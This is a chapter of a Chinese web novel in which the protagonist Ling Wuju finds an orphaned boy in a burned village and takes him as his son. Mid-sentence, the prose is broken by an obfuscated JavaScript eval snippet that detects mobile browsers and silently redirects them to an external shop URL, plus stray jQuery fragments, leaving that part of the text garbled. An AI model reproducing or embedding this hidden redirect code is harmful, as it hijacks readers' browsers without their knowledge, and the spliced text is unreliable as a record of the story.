三天后，泠无咎再次出了南城门。
这次他没有带士卒。
他走在晨光里，黑衣外面没有罩氅衣，领口依然敞着，血玉珠链在日光下泛着暗红色的光泽。脚上的伤口已经结了新痂，走路时鞋底与地面相触的触感从刺痛变成了钝涩，像一根被反复拉伸后正在缓慢恢复弹性的旧弦，正在适应它被重新施加的重量。
惠舟问过他要去哪里。他说：“去收一件忘了收的东西。”
他沿着官道走了大约两里，然后拐上一条向南延伸的土路。土路两侧的田埂比之前更干了，麦茬在日光里泛着干燥的白，像一层正在缓慢风化的旧草席。
他走了大约一个时辰，在一座村庄废墟前面停了下来。村庄不大，大约二十来户人家。
大多数房屋已经烧塌了，只剩几段半截的土墙还立着，墙面上被烟火熏出了深浅不一的黑褐色旧痕，像一张被反复折叠又展开的旧地图。
地上散落着烧裂的陶罐碎片和焦黑的木梁残段，灰烬已经被夜露浸透了，表面覆着一层细密的、正在缓慢蒸发的潮光。
泠无咎在废墟边缘站了一会儿。
日光从头顶照下来，把他肩头的黑衣晒出了正在缓慢变暖的温度。他跨过一段倒塌的门槛，沿着废墟中央那条被烧过的小路向前走，经过两座只剩下地基的旧屋基，经过一棵被烧去半边树冠的老榆树，经过一堆被灰烬半掩的旧陶器碎片。
然后他听见了一个声音——不高，像有什么东西被压住了又松开，发出了一声短促的、像被闷住了一半的抽气声。
他侧过头，声音是从右边第二间残屋的方向传过来的，像是从一堆半塌的砖墙和烧焦的木梁之间的缝隙里挤出来的细响。
泠无咎在那堆废墟前面蹲下来，靠近那道被烧裂的门框边缘。
他的目光向内探去——砖墙内侧有一小片没有被灰烬覆盖的干燥地面，一个人蜷坐在那里，背靠着烧焦的土墙，膝盖收在胸前，两只手攥着一块什么东西，攥得很紧，指节发白。
那个蜷缩的身影在泠无咎靠近的瞬间，整个人猛地向后缩了一下。他的后背撞上了身后的残墙，发出一声闷响，砖缝里掉下来一小撮细灰，落在他的肩头。
他没有去拍，只是更紧地缩进了那个角落，双臂收得更拢了，把那块攥着的东西压进怀里，像是怕被抢走。
他的目光向上抬起来，那双眼落在泠无咎身上，又顺着他的身形向上移动，像一头被逼到墙角的幼兽正在估算面前的人的距离——太近了，近到连后退的方向都被封住了。
他的呼吸顿了一拍，又恢复了，比之前更浅、更急，像一条在浅水里被惊动的鱼正在贴着水底缓慢地游动，寻找一个可以重新收拢身体的位置。
泠无咎没有动。
他依然蹲在废墟外面，和那堆半塌的砖墙之间隔着那道被烧裂的门框。他等着那双眼从他的脸上移开——或者不移开。那双眼睛在他的脸上停住了。
日光从泠无咎身后照过来，逆光中他的脸埋在阴影里，只有下颌的线条和颈间那串血玉珠链的边缘在光线的交界处亮了一下。
他的目光先落在泠无咎的脸上——黑瞳、冷白色的皮肤、鼻梁上那颗若隐若现的痣、从散落的黑发间露出的左耳垂上的红痣，然后顺着他的颈线向下滑，落在那串垂在敞开的衣领边缘的暗红色的珠链上，又收回来，重新落回他的眼睛。
那双眼里的警惕没有完全散去，但像一根被风吹弯了的芦苇正在缓慢地重新调整它的角度。
他还在看泠无咎的脸，像在看一件他不太确定该怎么归类的东西——它不像那些在废墟里翻找活物的人，不像那些冲进来抢走东西就跑的影子，甚至不像任何他曾经见过的、会弯腰看向他的人。
他开口了，声音比泠无咎预想的更哑一些，像一根被灰烬反复摩擦过的旧弦正在缓慢恢复它原有的振动频率：“……你是谁？”
泠无咎没有回答这个问题。他低头看了一眼少年的手——那双手攥着的东西，是一块被水泡烂了的碎饼，边角已经被攥得不成形状了，湿透了，边缘正在缓慢地碎开。
他把目光收回来，重新落回少年的眼睛上，他说：“你是哪家的？”
少年的嘴唇动了一下。
他下意识地想回答，但那个回答在出口之前停住了，像是在空气中短暂地停留了一瞬，被风吹散了。
他低下头，看着自己怀里的那块碎饼，湿透的边缘正在缓慢地散开，碎屑沾在他膝盖的旧布上，他开口了：“……我没有家了。”他的声音比之前更低，像是从嗓子底部挤出来的，“阿爹阿娘死了，房子倒了。我躲在墙根底下。我在这里坐了两天。”
他停了一下，又开口，“这是阿爹前夜带回来的。他说明天进城去卖菜，能换米回来。”
泠无咎蹲在废墟外面，日光从头顶照下来，在他们之间铺了一道正在缓慢移动的暖色光带。
他看着少年。
少年的目光正从泠无咎的脸上移到了他伸出的那只手上——不重，手掌朝上，像一枚正在等待被放上重物的旧托盘，正在确认它自身的平衡是否足以承接即将落在它表面的那件未知重量的旧物。
少年看了很久，久到那只手的影子在地面上从短变长，边缘被日光切出一道正在移动的暖色边界。
他抬头看泠无咎。
日光从他身后照过来，他依然看不清泠无咎的脸，但他看见了他颈间那串血玉珠链在光里微微晃动了一下，红得像一枚正在缓慢凝固的旧标记，不烫，不刺眼，只是在那里亮着。他的声音比之前低了一些：“……你要带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942553|213957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我走吗？”
泠无咎说：“你跟我走吗？”声音懒洋洋的，像在说一件已经被确认过位置、正在等待被触发的小物件正在沿着它预定的方向移动。
少年看着他摊开的那只手，看了很久。日光从泠无咎的肩侧照过来，在那只手的边缘镀了一层薄薄的暖色。
他低下头，看了一眼自己手里那块攥了两天的碎饼——湿透了，边缘正在碎开，已经被他攥得不成形状了。
他把它放在膝侧的干燥地面上，然后伸出手，那只沾着泥和灰的手，放进了泠无咎的掌心里。
他的指腹在碰到泠无咎掌心的那一刻，微微蜷了一下——像是一个人在确认一件东西的温度之后，才决定把全部的重量交出去。泠无咎合拢手指，握住那只手。他开口了：“从今天起，我是你阿父。”
少年的手在泠无咎的掌心里停了一下。他抬起头来看他——日光从泠无咎身后照过来，在泠无咎的侧脸上镀了一层薄薄的暖色，把他冷白色的皮肤照得像一层半透明的旧瓷。
他看见那双黑瞳正在看着他，里面没有催促，没有不耐烦，像一口已经被注满了水、正在缓慢等待水面重新恢复平静的井。他的嘴唇动了一下，像是想说什么，但没有发出声音。
他顺着那只手的牵引，慢慢地、一点一点地，从被灰烬和焦木包围的角落里站了起来。
他站起来之后比泠无咎矮了大半个头，瘦得像一根被风吹过很多次还没有折断的细竹枝。泠无咎松开他的手，退后了半步，低头看着他。
“你跟我走。”泠无咎说，“你以后不用再坐在废墟里等人了。”他转过身，沿着来路往回走。
他走了几步之后停了一下，侧过头来，日光从他身后照过来，他整张脸埋进了逆光的阴影里，只有左耳垂上那颗红痣在明暗交界处亮了一下：“跟上。”
阿稚站在废墟边缘，看着那道黑色背影在日光中越走越远。他低头看了一眼自己的手——那只刚刚被人握住过的、沾着泥和灰的手——他迈开了步子，跟了上去。
他没有回头。
废墟里那块被放下的碎饼正留在原处，湿透的边缘正在日光下缓慢地变干、变硬。
阿稚跟在泠无咎身后，大约隔了四五步的距离，他走路的节奏还不稳，像一株刚被移栽进新土里的细树正在缓慢地寻找它根系展开的方向。
他没有问要去哪里。
他只是一边走着，一边回头看了一眼那片正在他身后逐渐变小的废墟，日光落在那些焦黑的旧木和断墙上，像一层正在被缓慢揭开的旧灰。
然后他转回头来，继续跟在泠无咎身后。他没有再回头看。
那道黑色背影在他前方走着，步伐不快不慢，他只需要看着那道背影的轮廓，就知道自己该往哪个方向迈出下一步。